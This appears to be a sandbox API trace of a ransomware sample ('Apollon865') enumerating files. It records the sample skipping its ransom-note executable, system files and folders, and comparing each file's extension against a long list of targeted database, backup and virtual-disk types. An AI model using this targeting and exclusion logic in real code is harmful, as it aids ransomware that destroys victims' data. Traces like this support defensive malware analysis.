	[0035.758] lstrlenW (lpString="kexi") returned 4
	[0035.758] lstrcmpiW (lpString1=".ini", lpString2="kexi") returned -1
	[0035.758] lstrlenW (lpString="kexic") returned 5
	[0035.758] lstrcmpiW (lpString1="p.ini", lpString2="kexic") returned 1
	[0035.758] lstrlenW (lpString="kexis") returned 5
	[0035.758] lstrcmpiW (lpString1="p.ini", lpString2="kexis") returned 1
	[0035.758] lstrlenW (lpString="lgc") returned 3
	[0035.758] lstrcmpiW (lpString1="ini", lpString2="lgc") returned -1
	[0035.758] lstrlenW (lpString="lwx") returned 3
	[0035.758] lstrcmpiW (lpString1="ini", lpString2="lwx") returned -1
	[0035.758] lstrlenW (lpString="maf") returned 3
	[0035.758] lstrcmpiW (lpString1="ini", lpString2="maf") returned -1
	[0035.758] lstrlenW (lpString="maq") returned 3
	[0035.758] lstrcmpiW (lpString1="ini", lpString2="maq") returned -1
	[0035.758] lstrlenW (lpString="mar") returned 3
	[0035.758] lstrcmpiW (lpString1="ini", lpString2="mar") returned -1
	[0035.758] lstrlenW (lpString="marshal") returned 7
	[0035.758] lstrcmpiW (lpString1="top.ini", lpString2="marshal") returned 1
	[0035.758] lstrlenW (lpString="mas") returned 3
	[0035.758] lstrcmpiW (lpString1="ini", lpString2="mas") returned -1
	[0035.758] lstrlenW (lpString="mav") returned 3
	[0035.758] lstrcmpiW (lpString1="ini", lpString2="mav") returned -1
	[0035.759] lstrlenW (lpString="maw") returned 3
	[0035.759] lstrcmpiW (lpString1="ini", lpString2="maw") returned -1
	[0035.759] lstrlenW (lpString="mdbhtml") returned 7
	[0035.759] lstrcmpiW (lpString1="top.ini", lpString2="mdbhtml") returned 1
	[0035.759] lstrlenW (lpString="mdn") returned 3
	[0035.759] lstrcmpiW (lpString1="ini", lpString2="mdn") returned -1
	[0035.759] lstrlenW (lpString="mdt") returned 3
	[0035.759] lstrcmpiW (lpString1="ini", lpString2="mdt") returned -1
	[0035.759] lstrlenW (lpString="mfd") returned 3
	[0035.759] lstrcmpiW (lpString1="ini", lpString2="mfd") returned -1
	[0035.759] lstrlenW (lpString="mpd") returned 3
	[0035.759] lstrcmpiW (lpString1="ini", lpString2="mpd") returned -1
	[0035.759] lstrlenW (lpString="mrg") returned 3
	[0035.759] lstrcmpiW (lpString1="ini", lpString2="mrg") returned -1
	[0035.759] lstrlenW (lpString="mud") returned 3
	[0035.759] lstrcmpiW (lpString1="ini", lpString2="mud") returned -1
	[0035.759] lstrlenW (lpString="mwb") returned 3
	[0035.759] lstrcmpiW (lpString1="ini", lpString2="mwb") returned -1
	[0035.759] lstrlenW (lpString="myd") returned 3
	[0035.759] lstrcmpiW (lpString1="ini", lpString2="myd") returned -1
	[0035.759] lstrlenW (lpString="ndf") returned 3
	[0035.759] lstrcmpiW (lpString1="ini", lpString2="ndf") returned -1
	[0035.759] lstrlenW (lpString="nnt") returned 3
	[0035.759] lstrcmpiW (lpString1="ini", lpString2="nnt") returned -1
	[0035.759] lstrlenW (lpString="nrmlib") returned 6
	[0035.759] lstrcmpiW (lpString1="op.ini", lpString2="nrmlib") returned 1
	[0035.759] lstrlenW (lpString="ns2") returned 3
	[0035.759] lstrcmpiW (lpString1="ini", lpString2="ns2") returned -1
	[0035.759] lstrlenW (lpString="ns3") returned 3
	[0035.759] lstrcmpiW (lpString1="ini", lpString2="ns3") returned -1
	[0035.759] lstrlenW (lpString="ns4") returned 3
	[0035.759] lstrcmpiW (lpString1="ini", lpString2="ns4") returned -1
	[0035.759] lstrlenW (lpString="nsf") returned 3
	[0035.759] lstrcmpiW (lpString1="ini", lpString2="nsf") returned -1
	[0035.759] lstrlenW (lpString="nv") returned 2
	[0035.759] lstrcmpiW (lpString1="ni", lpString2="nv") returned -1
	[0035.759] lstrlenW (lpString="nv2") returned 3
	[0035.759] lstrcmpiW (lpString1="ini", lpString2="nv2") returned -1
	[0035.759] lstrlenW (lpString="nwdb") returned 4
	[0035.759] lstrcmpiW (lpString1=".ini", lpString2="nwdb") returned -1
	[0035.760] lstrlenW (lpString="nyf") returned 3
	[0035.760] lstrcmpiW (lpString1="ini", lpString2="nyf") returned -1
	[0035.760] lstrlenW (lpString="odb") returned 3
	[0035.760] lstrcmpiW (lpString1="ini", lpString2="odb") returned -1
	[0035.760] lstrlenW (lpString="odb") returned 3
	[0035.760] lstrcmpiW (lpString1="ini", lpString2="odb") returned -1
	[0035.760] lstrlenW (lpString="oqy") returned 3
	[0035.760] lstrcmpiW (lpString1="ini", lpString2="oqy") returned -1
	[0035.760] lstrlenW (lpString="ora") returned 3
	[0035.760] lstrcmpiW (lpString1="ini", lpString2="ora") returned -1
	[0035.760] lstrlenW (lpString="orx") returned 3
	[0035.760] lstrcmpiW (lpString1="ini", lpString2="orx") returned -1
	[0035.760] lstrlenW (lpString="owc") returned 3
	[0035.760] lstrcmpiW (lpString1="ini", lpString2="owc") returned -1
	[0035.760] lstrlenW (lpString="p96") returned 3
	[0035.760] lstrcmpiW (lpString1="ini", lpString2="p96") returned -1
	[0035.760] lstrlenW (lpString="p97") returned 3
	[0035.760] lstrcmpiW (lpString1="ini", lpString2="p97") returned -1
	[0035.760] lstrlenW (lpString="pan") returned 3
	[0035.760] lstrcmpiW (lpString1="ini", lpString2="pan") returned -1
	[0035.760] lstrlenW (lpString="pdb") returned 3
	[0035.760] lstrcmpiW (lpString1="ini", lpString2="pdb") returned -1
	[0035.760] lstrlenW (lpString="pdm") returned 3
	[0035.760] lstrcmpiW (lpString1="ini", lpString2="pdm") returned -1
	[0035.760] lstrlenW (lpString="pnz") returned 3
	[0035.760] lstrcmpiW (lpString1="ini", lpString2="pnz") returned -1
	[0035.760] lstrlenW (lpString="qry") returned 3
	[0035.760] lstrcmpiW (lpString1="ini", lpString2="qry") returned -1
	[0035.760] lstrlenW (lpString="qvd") returned 3
	[0035.760] lstrcmpiW (lpString1="ini", lpString2="qvd") returned -1
	[0035.760] lstrlenW (lpString="rbf") returned 3
	[0035.760] lstrcmpiW (lpString1="ini", lpString2="rbf") returned -1
	[0035.760] lstrlenW (lpString="rctd") returned 4
	[0035.760] lstrcmpiW (lpString1=".ini", lpString2="rctd") returned -1
	[0035.760] lstrlenW (lpString="rod") returned 3
	[0035.760] lstrcmpiW (lpString1="ini", lpString2="rod") returned -1
	[0035.760] lstrlenW (lpString="rodx") returned 4
	[0035.760] lstrcmpiW (lpString1=".ini", lpString2="rodx") returned -1
	[0035.760] lstrlenW (lpString="rpd") returned 3
	[0035.760] lstrcmpiW (lpString1="ini", lpString2="rpd") returned -1
	[0035.761] lstrlenW (lpString="rsd") returned 3
	[0035.761] lstrcmpiW (lpString1="ini", lpString2="rsd") returned -1
	[0035.761] lstrlenW (lpString="sas7bdat") returned 8
	[0035.761] lstrcmpiW (lpString1="ktop.ini", lpString2="sas7bdat") returned -1
	[0035.761] lstrlenW (lpString="sbf") returned 3
	[0035.761] lstrcmpiW (lpString1="ini", lpString2="sbf") returned -1
	[0035.761] lstrlenW (lpString="scx") returned 3
	[0035.761] lstrcmpiW (lpString1="ini", lpString2="scx") returned -1
	[0035.761] lstrlenW (lpString="sdb") returned 3
	[0035.761] lstrcmpiW (lpString1="ini", lpString2="sdb") returned -1
	[0035.761] lstrlenW (lpString="sdc") returned 3
	[0035.761] lstrcmpiW (lpString1="ini", lpString2="sdc") returned -1
	[0035.761] lstrlenW (lpString="sdf") returned 3
	[0035.761] lstrcmpiW (lpString1="ini", lpString2="sdf") returned -1
	[0035.761] lstrlenW (lpString="sis") returned 3
	[0035.761] lstrcmpiW (lpString1="ini", lpString2="sis") returned -1
	[0035.761] lstrlenW (lpString="spq") returned 3
	[0035.761] lstrcmpiW (lpString1="ini", lpString2="spq") returned -1
	[0035.761] lstrlenW (lpString="te") returned 2
	[0035.761] lstrcmpiW (lpString1="ni", lpString2="te") returned -1
	[0035.761] lstrlenW (lpString="teacher") returned 7
	[0035.761] lstrcmpiW (lpString1="top.ini", lpString2="teacher") returned 1
	[0035.761] lstrlenW (lpString="tmd") returned 3
	[0035.761] lstrcmpiW (lpString1="ini", lpString2="tmd") returned -1
	[0035.761] lstrlenW (lpString="tps") returned 3
	[0035.761] lstrcmpiW (lpString1="ini", lpString2="tps") returned -1
	[0035.761] lstrlenW (lpString="trc") returned 3
	[0035.761] lstrcmpiW (lpString1="ini", lpString2="trc") returned -1
	[0035.761] lstrlenW (lpString="trc") returned 3
	[0035.761] lstrcmpiW (lpString1="ini", lpString2="trc") returned -1
	[0035.761] lstrlenW (lpString="trm") returned 3
	[0035.761] lstrcmpiW (lpString1="ini", lpString2="trm") returned -1
	[0035.761] lstrlenW (lpString="udb") returned 3
	[0035.761] lstrcmpiW (lpString1="ini", lpString2="udb") returned -1
	[0035.761] lstrlenW (lpString="udl") returned 3
	[0035.761] lstrcmpiW (lpString1="ini", lpString2="udl") returned -1
	[0035.761] lstrlenW (lpString="usr") returned 3
	[0035.761] lstrcmpiW (lpString1="ini", lpString2="usr") returned -1
	[0035.762] lstrlenW (lpString="v12") returned 3
	[0035.762] lstrcmpiW (lpString1="ini", lpString2="v12") returned -1
	[0035.762] lstrlenW (lpString="vis") returned 3
	[0035.762] lstrcmpiW (lpString1="ini", lpString2="vis") returned -1
	[0035.762] lstrlenW (lpString="vpd") returned 3
	[0035.762] lstrcmpiW (lpString1="ini", lpString2="vpd") returned -1
	[0035.762] lstrlenW (lpString="vvv") returned 3
	[0035.762] lstrcmpiW (lpString1="ini", lpString2="vvv") returned -1
	[0035.762] lstrlenW (lpString="wdb") returned 3
	[0035.762] lstrcmpiW (lpString1="ini", lpString2="wdb") returned -1
	[0035.762] lstrlenW (lpString="wmdb") returned 4
	[0035.762] lstrcmpiW (lpString1=".ini", lpString2="wmdb") returned -1
	[0035.762] lstrlenW (lpString="wrk") returned 3
	[0035.762] lstrcmpiW (lpString1="ini", lpString2="wrk") returned -1
	[0035.762] lstrlenW (lpString="xdb") returned 3
	[0035.762] lstrcmpiW (lpString1="ini", lpString2="xdb") returned -1
	[0035.762] lstrlenW (lpString="xld") returned 3
	[0035.762] lstrcmpiW (lpString1="ini", lpString2="xld") returned -1
	[0035.762] lstrlenW (lpString="xmlff") returned 5
	[0035.762] lstrcmpiW (lpString1="p.ini", lpString2="xmlff") returned -1
	[0035.762] FindNextFileW (in: hFindFile=0x5ca250, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2d9821b0, ftCreationTime.dwHighDateTime=0x1d560a9, ftLastAccessTime.dwLowDateTime=0x2d9821b0, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2d368950, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x1dc00, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="HOW TO BACK YOUR FILES.exe", cAlternateFileName="HOWTOB~1.EXE")) returned 1
	[0035.762] lstrcmpiW (lpString1="HOW TO BACK YOUR FILES.exe", lpString2="HOW TO BACK YOUR FILES.exe") returned 0
	[0035.762] FindNextFileW (in: hFindFile=0x5ca250, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x917fa2ee, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0x8a1f1b86, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0x8a1f1b86, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x940000, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="win7_scenic-demoshort_raw.wtv", cAlternateFileName="WIN7_S~1.WTV")) returned 1
	[0035.762] lstrcmpiW (lpString1="win7_scenic-demoshort_raw.wtv", lpString2="HOW TO BACK YOUR FILES.exe") returned 1
	[0035.762] lstrcmpiW (lpString1="win7_scenic-demoshort_raw.wtv", lpString2="Apollon865.txt.exe") returned 1
	[0035.762] lstrcmpiW (lpString1="win7_scenic-demoshort_raw.wtv", lpString2=".") returned 1
	[0035.762] lstrcmpiW (lpString1="win7_scenic-demoshort_raw.wtv", lpString2="..") returned 1
	[0035.762] lstrcmpiW (lpString1="win7_scenic-demoshort_raw.wtv", lpString2="windows") returned -1
	[0035.762] lstrcmpiW (lpString1="win7_scenic-demoshort_raw.wtv", lpString2="bootmgr") returned 1
	[0035.762] lstrcmpiW (lpString1="win7_scenic-demoshort_raw.wtv", lpString2="temp") returned 1
	[0035.762] lstrcmpiW (lpString1="win7_scenic-demoshort_raw.wtv", lpString2="pagefile.sys") returned 1
	[0035.762] lstrcmpiW (lpString1="win7_scenic-demoshort_raw.wtv", lpString2="boot") returned 1
	[0035.762] lstrcmpiW (lpString1="win7_scenic-demoshort_raw.wtv", lpString2="ids.txt") returned 1
	[0035.762] lstrcmpiW (lpString1="win7_scenic-demoshort_raw.wtv", lpString2="ntuser.dat") returned 1
	[0035.762] lstrcmpiW (lpString1="win7_scenic-demoshort_raw.wtv", lpString2="perflogs") returned 1
	[0035.762] lstrcmpiW (lpString1="win7_scenic-demoshort_raw.wtv", lpString2="MSBuild") returned 1
	[0035.762] lstrlenW (lpString="win7_scenic-demoshort_raw.wtv") returned 29
	[0035.763] lstrlenW (lpString="C:\\Users\\Public\\Recorded TV\\Sample Media\\desktop.ini") returned 52
	[0035.763] lstrcpyW (in: lpString1=0x2d3e5a2, lpString2="win7_scenic-demoshort_raw.wtv" | out: lpString1="win7_scenic-demoshort_raw.wtv") returned="win7_scenic-demoshort_raw.wtv"
	[0035.763] lstrlenW (lpString="win7_scenic-demoshort_raw.wtv") returned 29
	[0035.763] lstrlenW (lpString="Apollon865") returned 10
	[0035.763] lstrcmpiW (lpString1="rt_raw.wtv", lpString2="Apollon865") returned 1
	[0035.763] lstrlenW (lpString=".dll") returned 4
	[0035.763] lstrcmpiW (lpString1="win7_scenic-demoshort_raw.wtv", lpString2=".dll") returned 1
	[0035.763] lstrlenW (lpString=".lnk") returned 4
	[0035.763] lstrcmpiW (lpString1="win7_scenic-demoshort_raw.wtv", lpString2=".lnk") returned 1
	[0035.763] lstrlenW (lpString=".ini") returned 4
	[0035.763] lstrcmpiW (lpString1="win7_scenic-demoshort_raw.wtv", lpString2=".ini") returned 1
	[0035.763] lstrlenW (lpString=".sys") returned 4
	[0035.763] lstrcmpiW (lpString1="win7_scenic-demoshort_raw.wtv", lpString2=".sys") returned 1
	[0035.763] lstrlenW (lpString="win7_scenic-demoshort_raw.wtv") returned 29
	[0035.763] lstrlenW (lpString="bak") returned 3
	[0035.763] lstrcmpiW (lpString1="wtv", lpString2="bak") returned 1
	[0035.763] lstrlenW (lpString="ba_") returned 3
	[0035.763] lstrcmpiW (lpString1="wtv", lpString2="ba_") returned 1
	[0035.763] lstrlenW (lpString="dbb") returned 3
	[0035.763] lstrcmpiW (lpString1="wtv", lpString2="dbb") returned 1
	[0035.763] lstrlenW (lpString="vmdk") returned 4
	[0035.763] lstrcmpiW (lpString1=".wtv", lpString2="vmdk") returned -1
	[0035.763] lstrlenW (lpString="rar") returned 3
	[0035.763] lstrcmpiW (lpString1="wtv", lpString2="rar") returned 1
	[0035.763] lstrlenW (lpString="zip") returned 3
	[0035.763] lstrcmpiW (lpString1="wtv", lpString2="zip") returned -1
	[0035.763] lstrlenW (lpString="tgz") returned 3
	[0035.763] lstrcmpiW (lpString1="wtv", lpString2="tgz") returned 1
	[0035.763] lstrlenW (lpString="vbox") returned 4
	[0035.763] lstrcmpiW (lpString1=".wtv", lpString2="vbox") returned -1
	[0035.763] lstrlenW (lpString="vdi") returned 3
	[0035.763] lstrcmpiW (lpString1="wtv", lpString2="vdi") returned 1
	[0035.763] lstrlenW (lpString="vhd") returned 3
	[0035.763] lstrcmpiW (lpString1="wtv", lpString2="vhd") returned 1
	[0035.763] lstrlenW (lpString="vhdx") returned 4
	[0035.763] lstrcmpiW (lpString1=".wtv", lpString2="vhdx") returned -1
	[0035.763] lstrlenW (lpString="avhd") returned 4
	[0035.763] lstrcmpiW (lpString1=".wtv", lpString2="avhd") returned -1
	[0035.763] lstrlenW (lpString="db") returned 2
	[0035.763] lstrcmpiW (lpString1="tv", lpString2="db") returned 1
	[0035.764] lstrlenW (lpString="db2") returned 3
	[0035.764] lstrcmpiW (lpString1="wtv", lpString2="db2") returned 1
	[0035.764] lstrlenW (lpString="db3") returned 3
	[0035.764] lstrcmpiW (lpString1="wtv", lpString2="db3") returned 1
	[0035.764] lstrlenW (lpString="dbf") returned 3
	[0035.764] lstrcmpiW (lpString1="wtv", lpString2="dbf") returned 1
	[0035.764] lstrlenW (lpString="mdf") returned 3
	[0035.764] lstrcmpiW (lpString1="wtv", lpString2="mdf") returned 1
	[0035.764] lstrlenW (lpString="mdb") returned 3
	[0035.764] lstrcmpiW (lpString1="wtv", lpString2="mdb") returned 1
	[0035.764] lstrlenW (lpString="sql") returned 3
	[0035.764] lstrcmpiW (lpString1="wtv", lpString2="sql") returned 1
	[0035.764] lstrlenW (lpString="sqlite") returned 6
	[0035.764] lstrcmpiW (lpString1="aw.wtv", lpString2="sqlite") returned -1
	[0035.764] lstrlenW (lpString="sqlite3") returned 7
	[0035.764] lstrcmpiW (lpString1="raw.wtv", lpString2="sqlite3") returned -1
	[0035.764] lstrlenW (lpString="sqlitedb") returned 8
	[0035.764] lstrcmpiW (lpString1="_raw.wtv", lpString2="sqlitedb") returned -1
	[0035.764] lstrlenW (lpString="xml") returned 3
	[0035.764] lstrcmpiW (lpString1="wtv", lpString2="xml") returned -1
	[0035.764] lstrlenW (lpString="$er") returned 3
	[0035.764] lstrcmpiW (lpString1="wtv", lpString2="$er") returned 1
	[0035.764] lstrlenW (lpString="4dd") returned 3
	[0035.764] lstrcmpiW (lpString1="wtv", lpString2="4dd") returned 1
	[0035.764] lstrlenW (lpString="4dl") returned 3
	[0035.764] lstrcmpiW (lpString1="wtv", lpString2="4dl") returned 1
	[0035.764] lstrlenW (lpString="^^^") returned 3
	[0035.764] lstrcmpiW (lpString1="wtv", lpString2="^^^") returned 1
	[0035.764] lstrlenW (lpString="abs") returned 3
	[0035.764] lstrcmpiW (lpString1="wtv", lpString2="abs") returned 1
	[0035.764] lstrlenW (lpString="abx") returned 3
	[0035.764] lstrcmpiW (lpString1="wtv", lpString2="abx") returned 1
	[0035.764] lstrlenW (lpString="accdb") returned 5
	[0035.764] lstrcmpiW (lpString1="w.wtv", lpString2="accdb") returned 1
	[0035.764] lstrlenW (lpString="accdc") returned 5
	[0035.764] lstrcmpiW (lpString1="w.wtv", lpString2="accdc") returned 1
	[0035.764] lstrlenW (lpString="accde") returned 5
	[0035.764] lstrcmpiW (lpString1="w.wtv", lpString2="accde") returned 1
	[0035.764] lstrlenW (lpString="accdr") returned 5
	[0035.764] lstrcmpiW (lpString1="w.wtv", lpString2="accdr") returned 1
	[0035.765] lstrlenW (lpString="accdt") returned 5
	[0035.765] lstrcmpiW (lpString1="w.wtv", lpString2="accdt") returned 1
	[0035.765] lstrlenW (lpString="accdw") returned 5
	[0035.765] lstrcmpiW (lpString1="w.wtv", lpString2="accdw") returned 1
	[0035.765] lstrlenW (lpString="accft") returned 5
	[0035.765] lstrcmpiW (lpString1="w.wtv", lpString2="accft") returned 1
	[0035.765] lstrlenW (lpString="adb") returned 3
	[0035.765] lstrcmpiW (lpString1="wtv", lpString2="adb") returned 1
	[0035.765] lstrlenW (lpString="adb") returned 3
	[0035.765] lstrcmpiW (lpString1="wtv", lpString2="adb") returned 1
	[0035.765] lstrlenW (lpString="ade") returned 3
	[0035.765] lstrcmpiW (lpString1="wtv", lpString2="ade") returned 1
	[0035.765] lstrlenW (lpString="adf") returned 3
	[0035.765] lstrcmpiW (lpString1="wtv", lpString2="adf") returned 1
	[0035.765] lstrlenW (lpString="adn") returned 3
	[0035.765] lstrcmpiW (lpString1="wtv", lpString2="adn") returned 1
	[0035.765] lstrlenW (lpString="adp") returned 3
	[0035.765] lstrcmpiW (lpString1="wtv", lpString2="adp") returned 1
	[0035.765] lstrlenW (lpString="alf") returned 3
	[0035.765] lstrcmpiW (lpString1="wtv", lpString2="alf") returned 1
	[0035.765] lstrlenW (lpString="ask") returned 3
	[0035.765] lstrcmpiW (lpString1="wtv", lpString2="ask") returned 1
	[0035.765] lstrlenW (lpString="btr") returned 3
	[0035.765] lstrcmpiW (lpString1="wtv", lpString2="btr") returned 1
	[0035.765] lstrlenW (lpString="cat") returned 3
	[0035.765] lstrcmpiW (lpString1="wtv", lpString2="cat") returned 1
	[0035.765] lstrlenW (lpString="cdb") returned 3
	[0035.765] lstrcmpiW (lpString1="wtv", lpString2="cdb") returned 1
	[0035.765] lstrlenW (lpString="ckp") returned 3
	[0035.765] lstrcmpiW (lpString1="wtv", lpString2="ckp") returned 1
	[0035.765] lstrlenW (lpString="cma") returned 3
	[0035.765] lstrcmpiW (lpString1="wtv", lpString2="cma") returned 1
	[0035.765] lstrlenW (lpString="cpd") returned 3
	[0035.765] lstrcmpiW (lpString1="wtv", lpString2="cpd") returned 1
	[0035.765] lstrlenW (lpString="dacpac") returned 6
	[0035.765] lstrcmpiW (lpString1="aw.wtv", lpString2="dacpac") returned -1
	[0035.765] lstrlenW (lpString="dad") returned 3
	[0035.765] lstrcmpiW (lpString1="wtv", lpString2="dad") returned 1
	[0035.766] lstrlenW (lpString="dadiagrams") returned 10
	[0035.766] lstrcmpiW (lpString1="rt_raw.wtv", lpString2="dadiagrams") returned 1
	[0035.766] lstrlenW (lpString="daschema") returned 8
	[0035.766] lstrcmpiW (lpString1="_raw.wtv", lpString2="daschema") returned -1
	[0035.766] lstrlenW (lpString="db-journal") returned 10
	[0035.766] lstrcmpiW (lpString1="rt_raw.wtv", lpString2="db-journal") returned 1
	[0035.766] lstrlenW (lpString="db-shm") returned 6
	[0035.766] lstrcmpiW (lpString1="aw.wtv", lpString2="db-shm") returned -1
	[0035.766] lstrlenW (lpString="db-wal") returned 6
	[0035.766] lstrcmpiW (lpString1="aw.wtv", lpString2="db-wal") returned -1
	[0035.766] lstrlenW (lpString="dbc") returned 3
	[0035.766] lstrcmpiW (lpString1="wtv", lpString2="dbc") returned 1
	[0035.766] lstrlenW (lpString="dbs") returned 3
	[0035.766] lstrcmpiW (lpString1="wtv", lpString2="dbs") returned 1
	[0035.766] lstrlenW (lpString="dbt") returned 3
	[0035.766] lstrcmpiW (lpString1="wtv", lpString2="dbt") returned 1
	[0035.766] lstrlenW (lpString="dbv") returned 3
	[0035.766] lstrcmpiW (lpString1="wtv", lpString2="dbv") returned 1
	[0035.766] lstrlenW (lpString="dbx") returned 3
	[0035.766] lstrcmpiW (lpString1="wtv", lpString2="dbx") returned 1
	[0035.766] lstrlenW (lpString="dcb") returned 3
	[0035.766] lstrcmpiW (lpString1="wtv", lpString2="dcb") returned 1
	[0035.766] lstrlenW (lpString="dct") returned 3
	[0035.766] lstrcmpiW (lpString1="wtv", lpString2="dct") returned 1
	[0035.766] lstrlenW (lpString="dcx") returned 3
	[0035.766] lstrcmpiW (lpString1="wtv", lpString2="dcx") returned 1
	[0035.766] lstrlenW (lpString="ddl") returned 3
	[0035.766] lstrcmpiW (lpString1="wtv", lpString2="ddl") returned 1
	[0035.766] lstrlenW (lpString="dlis") returned 4
	[0035.766] lstrcmpiW (lpString1=".wtv", lpString2="dlis") returned -1
	[0035.766] lstrlenW (lpString="dp1") returned 3
	[0035.766] lstrcmpiW (lpString1="wtv", lpString2="dp1") returned 1
	[0035.766] lstrlenW (lpString="dqy") returned 3
	[0035.766] lstrcmpiW (lpString1="wtv", lpString2="dqy") returned 1
	[0035.766] lstrlenW (lpString="dsk") returned 3
	[0035.766] lstrcmpiW (lpString1="wtv", lpString2="dsk") returned 1
	[0035.766] lstrlenW (lpString="dsn") returned 3
	[0035.766] lstrcmpiW (lpString1="wtv", lpString2="dsn") returned 1
	[0035.766] lstrlenW (lpString="dtsx") returned 4
	[0035.767] lstrcmpiW (lpString1=".wtv", lpString2="dtsx") returned -1
	[0035.767] lstrlenW (lpString="dxl") returned 3
	[0035.767] lstrcmpiW (lpString1="wtv", lpString2="dxl") returned 1
	[0035.767] lstrlenW (lpString="eco") returned 3
	[0035.767] lstrcmpiW (lpString1="wtv", lpString2="eco") returned 1
	[0035.767] lstrlenW (lpString="ecx") returned 3
	[0035.767] lstrcmpiW (lpString1="wtv", lpString2="ecx") returned 1
	[0035.767] lstrlenW (lpString="edb") returned 3
	[0035.767] lstrcmpiW (lpString1="wtv", lpString2="edb") returned 1
	[0035.767] lstrlenW (lpString="epim") returned 4
	[0035.767] lstrcmpiW (lpString1=".wtv", lpString2="epim") returned -1
	[0035.767] lstrlenW (lpString="fcd") returned 3
	[0035.767] lstrcmpiW (lpString1="wtv", lpString2="fcd") returned 1
	[0035.767] lstrlenW (lpString="fdb") returned 3
	[0035.767] lstrcmpiW (lpString1="wtv", lpString2="fdb") returned 1
	[0035.767] lstrlenW (lpString="fic") returned 3
	[0035.767] lstrcmpiW (lpString1="wtv", lpString2="fic") returned 1
	[0035.767] lstrlenW (lpString="flexolibrary") returned 12
	[0035.767] lstrcmpiW (lpString1="hort_raw.wtv", lpString2="flexolibrary") returned 1
	[0035.767] lstrlenW (lpString="fm5") returned 3
	[0035.767] lstrcmpiW (lpString1="wtv", lpString2="fm5") returned 1
	[0035.767] lstrlenW (lpString="fmp") returned 3
	[0035.767] lstrcmpiW (lpString1="wtv", lpString2="fmp") returned 1
	[0035.767] lstrlenW (lpString="fmp12") returned 5
	[0035.767] lstrcmpiW (lpString1="w.wtv", lpString2="fmp12") returned 1
	[0035.767] lstrlenW (lpString="fmpsl") returned 5
	[0035.767] lstrcmpiW (lpString1="w.wtv", lpString2="fmpsl") returned 1
	[0035.767] lstrlenW (lpString="fol") returned 3
	[0035.767] lstrcmpiW (lpString1="wtv", lpString2="fol") returned 1
	[0035.767] lstrlenW (lpString="fp3") returned 3
	[0035.767] lstrcmpiW (lpString1="wtv", lpString2="fp3") returned 1
	[0035.767] lstrlenW (lpString="fp4") returned 3
	[0035.767] lstrcmpiW (lpString1="wtv", lpString2="fp4") returned 1
	[0035.767] lstrlenW (lpString="fp5") returned 3
	[0035.767] lstrcmpiW (lpString1="wtv", lpString2="fp5") returned 1
	[0035.767] lstrlenW (lpString="fp7") returned 3
	[0035.767] lstrcmpiW (lpString1="wtv", lpString2="fp7") returned 1
	[0035.767] lstrlenW (lpString="fpt") returned 3
	[0035.767] lstrcmpiW (lpString1="wtv", lpString2="fpt") returned 1
	[0035.767] lstrlenW (lpString="frm") returned 3
	[0035.768] lstrcmpiW (lpString1="wtv", lpString2="frm") returned 1
	[0035.768] lstrlenW (lpString="gdb") returned 3
	[0035.768] lstrcmpiW (lpString1="wtv", lpString2="gdb") returned 1
	[0035.768] lstrlenW (lpString="gdb") returned 3
	[0035.768] lstrcmpiW (lpString1="wtv", lpString2="gdb") returned 1
	[0035.768] lstrlenW (lpString="grdb") returned 4
	[0035.768] lstrcmpiW (lpString1=".wtv", lpString2="grdb") returned -1
	[0035.768] lstrlenW (lpString="gwi") returned 3
	[0035.768] lstrcmpiW (lpString1="wtv", lpString2="gwi") returned 1
	[0035.768] lstrlenW (lpString="hdb") returned 3
	[0035.768] lstrcmpiW (lpString1="wtv", lpString2="hdb") returned 1
	[0035.768] lstrlenW (lpString="his") returned 3
	[0035.768] lstrcmpiW (lpString1="wtv", lpString2="his") returned 1
	[0035.768] lstrlenW (lpString="ib") returned 2
	[0035.768] lstrcmpiW (lpString1="tv", lpString2="ib") returned 1
	[0035.768] lstrlenW (lpString="idb") returned 3
	[0035.768] lstrcmpiW (lpString1="wtv", lpString2="idb") returned 1
	[0035.768] lstrlenW (lpString="ihx") returned 3
	[0035.768] lstrcmpiW (lpString1="wtv", lpString2="ihx") returned 1
	[0035.768] lstrlenW (lpString="itdb") returned 4
	[0035.768] lstrcmpiW (lpString1=".wtv", lpString2="itdb") returned -1
	[0035.768] lstrlenW (lpString="itw") returned 3
	[0035.768] lstrcmpiW (lpString1="wtv", lpString2="itw") returned 1
	[0035.768] lstrlenW (lpString="jet") returned 3
	[0035.768] lstrcmpiW (lpString1="wtv", lpString2="jet") returned 1
	[0035.768] lstrlenW (lpString="jtx") returned 3
	[0035.768] lstrcmpiW (lpString1="wtv", lpString2="jtx") returned 1
	[0035.768] lstrlenW (lpString="kdb") returned 3
	[0035.768] lstrcmpiW (lpString1="wtv", lpString2="kdb") returned 1
	[0035.768] lstrlenW (lpString="kexi") returned 4
	[0035.768] lstrcmpiW (lpString1=".wtv", lpString2="kexi") returned -1
	[0035.768] lstrlenW (lpString="kexic") returned 5
	[0035.768] lstrcmpiW (lpString1="w.wtv", lpString2="kexic") returned 1
	[0035.768] lstrlenW (lpString="kexis") returned 5
	[0035.768] lstrcmpiW (lpString1="w.wtv", lpString2="kexis") returned 1
	[0035.768] lstrlenW (lpString="lgc") returned 3
	[0035.768] lstrcmpiW (lpString1="wtv", lpString2="lgc") returned 1
	[0035.768] lstrlenW (lpString="lwx") returned 3
	[0035.768] lstrcmpiW (lpString1="wtv", lpString2="lwx") returned 1
	[0035.768] lstrlenW (lpString="maf") returned 3
	[0035.769] lstrcmpiW (lpString1="wtv", lpString2="maf") returned 1
	[0035.769] lstrlenW (lpString="maq") returned 3
	[0035.769] lstrcmpiW (lpString1="wtv", lpString2="maq") returned 1
	[0035.769] lstrlenW (lpString="mar") returned 3
	[0035.769] lstrcmpiW (lpString1="wtv", lpString2="mar") returned 1
	[0035.769] lstrlenW (lpString="marshal") returned 7
	[0035.769] lstrcmpiW (lpString1="raw.wtv", lpString2="marshal") returned 1
